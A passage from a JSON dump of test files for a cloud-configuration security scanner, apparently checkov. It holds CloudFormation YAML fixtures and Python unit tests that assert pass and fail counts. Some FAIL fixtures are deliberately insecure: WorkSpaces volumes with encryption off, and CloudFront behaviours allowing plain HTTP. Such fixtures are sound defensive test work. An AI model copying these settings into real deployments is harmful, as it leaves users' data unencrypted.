    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  FailDefault:\n    Type: AWS::WorkSpaces::Workspace\n    Properties: \n      UserName: test\n      BundleId: wsb-abc123456\n      DirectoryId: d-abc123456\n  FailExplicit:\n    Type: AWS::WorkSpaces::Workspace\n    Properties: \n      UserName: test\n      BundleId: wsb-abc123456\n      DirectoryId: d-abc123456\n      UserVolumeEncryptionEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WorkspaceUserVolumeEncrypted/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Pass:\n    Type: AWS::WorkSpaces::Workspace\n    Properties: \n      UserName: test\n      BundleId: wsb-abc123456\n      DirectoryId: d-abc123456\n      UserVolumeEncryptionEnabled: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk'\nParameters:\n  S3Bucket:\n    Type: String\n    Description: Name of an S3 bucket to contain your website\n    Default: 'mytestbucket'\nResources:\n  # Create the bucket to contain the website HTML\n  #S3Bucket:\n  #  Type: 'AWS::S3::Bucket'\n  #  Properties: \n  #    BucketName: !Sub 'website-${AWS::AccountId}'\n  #    AccessControl: PublicRead\n  #    WebsiteConfiguration:\n  #      IndexDocument: index.html\n  #      ErrorDocument: 404.html\n  #  DeletionPolicy: Retain\n\n  # Configure the bucket as a CloudFront Origin\n  BucketPolicy:\n    Type: 'AWS::S3::BucketPolicy'\n    Properties:\n      Bucket: !Ref S3Bucket\n      PolicyDocument:\n        Statement:\n          - Action: 's3:GetObject'\n            Effect: Allow\n            Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*'\n            Principal:\n              CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId\n\n  CloudFrontOriginAccessIdentity:\n    Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity'\n    Properties:\n      CloudFrontOriginAccessIdentityConfig:\n        Comment: !Ref S3Bucket\n\n  sampleApplication:\n    Type: AWS::ElasticBeanstalk::Application\n    Properties:\n      Description: AWS Elastic Beanstalk Sample Application\n\n  sampleApplicationVersion:\n    Type: AWS::ElasticBeanstalk::ApplicationVersion\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Application Version\n      SourceBundle:\n        S3Bucket: !Sub \"elasticbeanstalk-samples-${AWS::Region}\"\n        S3Key: php-newsample-app.zip\n\n  sampleConfigurationTemplate:\n    Type: AWS::ElasticBeanstalk::ConfigurationTemplate\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Configuration Template\n      OptionSettings:\n        - Namespace: aws:autoscaling:asg\n          OptionName: MinSize\n          Value: '2'\n        - Namespace: aws:autoscaling:asg\n          OptionName: MaxSize\n          Value: '6'\n        - Namespace: aws:elasticbeanstalk:environment\n          OptionName: EnvironmentType\n          Value: LoadBalanced\n      SolutionStackName: solution-stack\n\n  sampleEnvironment:\n    Type: AWS::ElasticBeanstalk::Environment\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Environment\n      TemplateName:\n        Ref: sampleConfigurationTemplate\n      VersionLabel:\n        Ref: sampleApplicationVersion\n\n  CloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        CustomErrorResponses:\n          - ErrorCode: 403 # not found\n            ResponseCode: 404\n            ResponsePagePath: '/404.html'\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600 # in seconds\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          # MinTTL/MaxTTL in seconds\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          ViewerProtocolPolicy: 'allow-all'\n          #ViewerProtocolPolicy: 'https-only'\n        DefaultRootObject: 'index.html'\n        Enabled: true\n        HttpVersion: http2\n        Origins:\n          #- DomainName: !GetAtt 'S3Bucket.DomainName'\n          - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}'\n          - Id: customorigin\n            DomainName: !GetAtt [sampleEnvironment, EndpointURL]\n            CustomOriginConfig:\n              OriginProtocolPolicy: match-viewer\n        CacheBehaviors:\n          - TargetOriginId: customorigin\n            ForwardedValues:\n              QueryString: false\n            ViewerProtocolPolicy: https-only\n            #ViewerProtocolPolicy: allow-all\n            MinTTL: 500\n            PathPattern: '*.jpg'\n        PriceClass: 'PriceClass_All'\n\nOutputs:\n  BucketName:\n    Description: 'S3 Bucket Name'\n    Value: !Ref S3Bucket\n  DistributionId:\n    Description: 'CloudFront Distribution ID'\n    Value: !Ref CloudFrontDistribution\n  Domain:\n    Description: 'Cloudfront Domain'\n    Value: !GetAtt CloudFrontDistribution.DomainName\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk'\nParameters:\n  S3Bucket:\n    Type: String\n    Description: Name of an S3 bucket to contain your website\n    Default: 'mytestbucket'\nResources:\n  # Create the bucket to contain the website HTML\n  #S3Bucket:\n  #  Type: 'AWS::S3::Bucket'\n  #  Properties:\n  #    BucketName: !Sub 'website-${AWS::AccountId}'\n  #    AccessControl: PublicRead\n  #    WebsiteConfiguration:\n  #      IndexDocument: index.html\n  #      ErrorDocument: 404.html\n  #  DeletionPolicy: Retain\n\n  # Configure the bucket as a CloudFront Origin\n  BucketPolicy:\n    Type: 'AWS::S3::BucketPolicy'\n    Properties:\n      Bucket: !Ref S3Bucket\n      PolicyDocument:\n        Statement:\n          - Action: 's3:GetObject'\n            Effect: Allow\n            Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*'\n            Principal:\n              CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId\n\n  CloudFrontOriginAccessIdentity:\n    Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity'\n    Properties:\n      CloudFrontOriginAccessIdentityConfig:\n        Comment: !Ref S3Bucket\n\n  sampleApplication:\n    Type: AWS::ElasticBeanstalk::Application\n    Properties:\n      Description: AWS Elastic Beanstalk Sample Application\n\n  sampleApplicationVersion:\n    Type: AWS::ElasticBeanstalk::ApplicationVersion\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Application Version\n      SourceBundle:\n        S3Bucket: !Sub \"elasticbeanstalk-samples-${AWS::Region}\"\n        S3Key: php-newsample-app.zip\n\n  sampleConfigurationTemplate:\n    Type: AWS::ElasticBeanstalk::ConfigurationTemplate\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Configuration Template\n      OptionSettings:\n        - Namespace: aws:autoscaling:asg\n          OptionName: MinSize\n          Value: '2'\n        - Namespace: aws:autoscaling:asg\n          OptionName: MaxSize\n          Value: '6'\n        - Namespace: aws:elasticbeanstalk:environment\n          OptionName: EnvironmentType\n          Value: LoadBalanced\n      SolutionStackName: solution-stack\n\n  sampleEnvironment:\n    Type: AWS::ElasticBeanstalk::Environment\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Environment\n      TemplateName:\n        Ref: sampleConfigurationTemplate\n      VersionLabel:\n        Ref: sampleApplicationVersion\n\n  CloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        CustomErrorResponses:\n          - ErrorCode: 403 # not found\n            ResponseCode: 404\n            ResponsePagePath: '/404.html'\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600 # in seconds\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          # MinTTL/MaxTTL in seconds\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          #ViewerProtocolPolicy: 'allow-all'\n          ViewerProtocolPolicy: 'https-only'\n        DefaultRootObject: 'index.html'\n        Enabled: true\n        HttpVersion: http2\n        Origins:\n          #- DomainName: !GetAtt 'S3Bucket.DomainName'\n          - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}'\n          - Id: customorigin\n            DomainName: !GetAtt [sampleEnvironment, EndpointURL]\n            CustomOriginConfig:\n              OriginProtocolPolicy: match-viewer\n        CacheBehaviors:\n          - TargetOriginId: customorigin\n            ForwardedValues:\n              QueryString: false\n            #ViewerProtocolPolicy: https-only\n            ViewerProtocolPolicy: allow-all\n            MinTTL: 500\n            PathPattern: '*.jpg'\n        PriceClass: 'PriceClass_All'\n\nOutputs:\n  BucketName:\n    Description: 'S3 Bucket Name'\n    Value: !Ref S3Bucket\n  DistributionId:\n    Description: 'CloudFront Distribution ID'\n    Value: !Ref CloudFrontDistribution\n  Domain:\n    Description: 'Cloudfront Domain'\n    Value: !GetAtt CloudFrontDistribution.DomainName\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk'\nParameters:\n  S3Bucket:\n    Type: String\n    Description: Name of an S3 bucket to contain your website\n    Default: 'mytestbucket'\nResources:\n  # Create the bucket to contain the website HTML\n  #S3Bucket:\n  #  Type: 'AWS::S3::Bucket'\n  #  Properties:\n  #    BucketName: !Sub 'website-${AWS::AccountId}'\n  #    AccessControl: PublicRead\n  #    WebsiteConfiguration:\n  #      IndexDocument: index.html\n  #      ErrorDocument: 404.html\n  #  DeletionPolicy: Retain\n\n  # Configure the bucket as a CloudFront Origin\n  BucketPolicy:\n    Type: 'AWS::S3::BucketPolicy'\n    Properties:\n      Bucket: !Ref S3Bucket\n      PolicyDocument:\n        Statement:\n          - Action: 's3:GetObject'\n            Effect: Allow\n            Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*'\n            Principal:\n              CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId\n\n  CloudFrontOriginAccessIdentity:\n    Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity'\n    Properties:\n      CloudFrontOriginAccessIdentityConfig:\n        Comment: !Ref S3Bucket\n\n  sampleApplication:\n    Type: AWS::ElasticBeanstalk::Application\n    Properties:\n      Description: AWS Elastic Beanstalk Sample Application\n\n  sampleApplicationVersion:\n    Type: AWS::ElasticBeanstalk::ApplicationVersion\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Application Version\n      SourceBundle:\n        S3Bucket: !Sub \"elasticbeanstalk-samples-${AWS::Region}\"\n        S3Key: php-newsample-app.zip\n\n  sampleConfigurationTemplate:\n    Type: AWS::ElasticBeanstalk::ConfigurationTemplate\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Configuration Template\n      OptionSettings:\n        - Namespace: aws:autoscaling:asg\n          OptionName: MinSize\n          Value: '2'\n        - Namespace: aws:autoscaling:asg\n          OptionName: MaxSize\n          Value: '6'\n        - Namespace: aws:elasticbeanstalk:environment\n          OptionName: EnvironmentType\n          Value: LoadBalanced\n      SolutionStackName: solution-stack\n\n  sampleEnvironment:\n    Type: AWS::ElasticBeanstalk::Environment\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Environment\n      TemplateName:\n        Ref: sampleConfigurationTemplate\n      VersionLabel:\n        Ref: sampleApplicationVersion\n\n  CloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        CustomErrorResponses:\n          - ErrorCode: 403 # not found\n            ResponseCode: 404\n            ResponsePagePath: '/404.html'\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600 # in seconds\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          # MinTTL/MaxTTL in seconds\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          #ViewerProtocolPolicy: 'allow-all'\n          ViewerProtocolPolicy: 'https-only'\n        DefaultRootObject: 'index.html'\n        Enabled: true\n        HttpVersion: http2\n        Origins:\n          #- DomainName: !GetAtt 'S3Bucket.DomainName'\n          - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}'\n          - Id: customorigin\n            DomainName: !GetAtt [sampleEnvironment, EndpointURL]\n            CustomOriginConfig:\n              OriginProtocolPolicy: match-viewer\n        CacheBehaviors:\n          - TargetOriginId: customorigin\n            ForwardedValues:\n              QueryString: false\n            ViewerProtocolPolicy: https-only\n            #ViewerProtocolPolicy: allow-all\n            MinTTL: 500\n            PathPattern: '*.jpg'\n        PriceClass: 'PriceClass_All'\n\nOutputs:\n  BucketName:\n    Description: 'S3 Bucket Name'\n    Value: !Ref S3Bucket\n  DistributionId:\n    Description: 'CloudFront Distribution ID'\n    Value: !Ref CloudFrontDistribution\n  Domain:\n    Description: 'Cloudfront Domain'\n    Value: !GetAtt CloudFrontDistribution.DomainName\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-UNKNOWN.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: 'CloudFront multiple origins - S3 Website and Elastic Beanstalk'\nParameters:\n  S3Bucket:\n    Type: String\n    Description: Name of an S3 bucket to contain your website\n    Default: 'mytestbucket'\nConditions:\n  IsHttps:\n    Fn::Equals:\n      - !Ref S3Bucket\n      - 'true'\nResources:\n  # Create the bucket to contain the website HTML\n  #S3Bucket:\n  #  Type: 'AWS::S3::Bucket'\n  #  Properties:\n  #    BucketName: !Sub 'website-${AWS::AccountId}'\n  #    AccessControl: PublicRead\n  #    WebsiteConfiguration:\n  #      IndexDocument: index.html\n  #      ErrorDocument: 404.html\n  #  DeletionPolicy: Retain\n\n  # Configure the bucket as a CloudFront Origin\n  BucketPolicy:\n    Type: 'AWS::S3::BucketPolicy'\n    Properties:\n      Bucket: !Ref S3Bucket\n      PolicyDocument:\n        Statement:\n          - Action: 's3:GetObject'\n            Effect: Allow\n            Resource: !Sub 'arn:aws:s3:::${S3Bucket}/*'\n            Principal:\n              CanonicalUser: !GetAtt CloudFrontOriginAccessIdentity.S3CanonicalUserId\n\n  CloudFrontOriginAccessIdentity:\n    Type: 'AWS::CloudFront::CloudFrontOriginAccessIdentity'\n    Properties:\n      CloudFrontOriginAccessIdentityConfig:\n        Comment: !Ref S3Bucket\n\n  sampleApplication:\n    Type: AWS::ElasticBeanstalk::Application\n    Properties:\n      Description: AWS Elastic Beanstalk Sample Application\n\n  sampleApplicationVersion:\n    Type: AWS::ElasticBeanstalk::ApplicationVersion\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Application Version\n      SourceBundle:\n        S3Bucket: !Sub \"elasticbeanstalk-samples-${AWS::Region}\"\n        S3Key: php-newsample-app.zip\n\n  sampleConfigurationTemplate:\n    Type: AWS::ElasticBeanstalk::ConfigurationTemplate\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Configuration Template\n      OptionSettings:\n        - Namespace: aws:autoscaling:asg\n          OptionName: MinSize\n          Value: '2'\n        - Namespace: aws:autoscaling:asg\n          OptionName: MaxSize\n          Value: '6'\n        - Namespace: aws:elasticbeanstalk:environment\n          OptionName: EnvironmentType\n          Value: LoadBalanced\n      SolutionStackName: solution-stack\n\n  sampleEnvironment:\n    Type: AWS::ElasticBeanstalk::Environment\n    Properties:\n      ApplicationName:\n        Ref: sampleApplication\n      Description: AWS ElasticBeanstalk Sample Environment\n      TemplateName:\n        Ref: sampleConfigurationTemplate\n      VersionLabel:\n        Ref: sampleApplicationVersion\n\n  CloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        CustomErrorResponses:\n          - ErrorCode: 403 # not found\n            ResponseCode: 404\n            ResponsePagePath: '/404.html'\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600 # in seconds\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          # MinTTL/MaxTTL in seconds\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          #ViewerProtocolPolicy: 'allow-all'\n          ViewerProtocolPolicy: 'https-only'\n        DefaultRootObject: 'index.html'\n        Enabled: true\n        HttpVersion: http2\n        Origins:\n          #- DomainName: !GetAtt 'S3Bucket.DomainName'\n          - DomainName: !Sub 'http://${S3Bucket}.s3-website-us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: !Sub 'origin-access-identity/cloudfront/${CloudFrontOriginAccessIdentity}'\n          - Id: customorigin\n            DomainName: !GetAtt [sampleEnvironment, EndpointURL]\n            CustomOriginConfig:\n              OriginProtocolPolicy: match-viewer\n        CacheBehaviors: !If\n          - IsHttps\n          - TargetOriginId: firstoption\n            ForwardedValues:\n              QueryString: false\n            ViewerProtocolPolicy: https-only\n            #ViewerProtocolPolicy: allow-all\n            MinTTL: 500\n            PathPattern: '*.jpg'\n          - TargetOriginId: customorigin\n            ForwardedValues:\n              QueryString: false\n            ViewerProtocolPolicy: https-only\n            #ViewerProtocolPolicy: allow-all\n            MinTTL: 500\n            PathPattern: '*.jpg'\n        PriceClass: 'PriceClass_All'\n\nOutputs:\n  BucketName:\n    Description: 'S3 Bucket Name'\n    Value: !Ref S3Bucket\n  DistributionId:\n    Description: 'CloudFront Distribution ID'\n    Value: !Ref CloudFrontDistribution\n  Domain:\n    Description: 'Cloudfront Domain'\n    Value: !GetAtt CloudFrontDistribution.DomainName\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ALBDropHttpHeaders.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ALBDropHttpHeaders import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestALBDropHttpHeaders(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_ALBDropHttpHeaders\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.PassDefaultType\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.PassDefaultTypeBool\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.PassExplicitALB\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.PassMultipleAttributes\",\n        }\n\n        failing_resources = {\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.FailDefaultType\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.FailExplicitALB\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.FailExplicitFalse\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.FailExplicitFalse2\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.FailKeyNotExist\",\n            \"AWS::ElasticLoadBalancingV2::LoadBalancer.FailKeyNotExist2\",\n        }\n\n        # 2 Unknown resources are tested which are properly silently ignored\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ALBListenerHTTPS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ALBListenerHTTPS import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestALBListenerHTTPS(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ALBListener\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        unknown_resource = 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPUnknown'\n        summary = report.get_summary()\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 7)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertNotIn(unknown_resource, passed_check_resources)\n        self.assertNotIn(unknown_resource, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ALBListenerTLS12.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ALBListenerTLS12 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestALBListenerTLS12(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ALBListenerTLS12\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSPASSED1',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPPASSED2',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSPASSED1',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSPASSED2',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSPASSED3',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTCPPASSED4',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSPASS13'\n        }\n\n        failing_resources = {\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSFAILED1',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPSFAILED2',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSFAILED1',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSFAILED2',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerTLSFAILED3',\n            'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPFAILED1'\n        }\n\n        unknown_resource = 'AWS::ElasticLoadBalancingV2::Listener.ListenerHTTPUnknown'\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], passing_resources.__len__())\n        self.assertEqual(summary['failed'], failing_resources.__len__())\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertNotIn(unknown_resource, passed_check_resources)\n        self.assertNotIn(unknown_resource, failed_check_resources)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_APIGatewayAccessLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.APIGatewayAccessLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAPIGatewayAccessLogging(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayAccessLogging\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ApiGateway::Stage.Enabled\",\n            \"AWS::Serverless::Api.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::ApiGateway::Stage.Default\",\n            \"AWS::Serverless::Api.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_APIGatewayAuthorization.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.APIGatewayAuthorization import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAPIGatewayAuthorization(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayAuthorization\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_APIGatewayCacheEnable.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.APIGatewayCacheEnable import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAPIGatewayCacheEnable(unittest.TestCase):\n    \n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_APIGatewayCacheEnable\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::ApiGateway::Stage.CacheTrue\",\n            \"AWS::Serverless::Api.Enabled\",\n        }\n\n        failing_resources = {\n            \"AWS::ApiGateway::Stage.CacheDefault\",\n            \"AWS::ApiGateway::Stage.CacheFalse\",\n            \"AWS::Serverless::Api.Default\",\n            \"AWS::Serverless::Api.Disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_APIGatewayV2AccessLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.APIGatewayV2AccessLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAPIGatewayV2AccessLogging(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_APIGatewayV2AccessLogging\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ApiGatewayV2::Stage.Enabled\",\n            \"AWS::Serverless::HttpApi.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::ApiGatewayV2::Stage.Default\",\n            \"AWS::Serverless::HttpApi.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        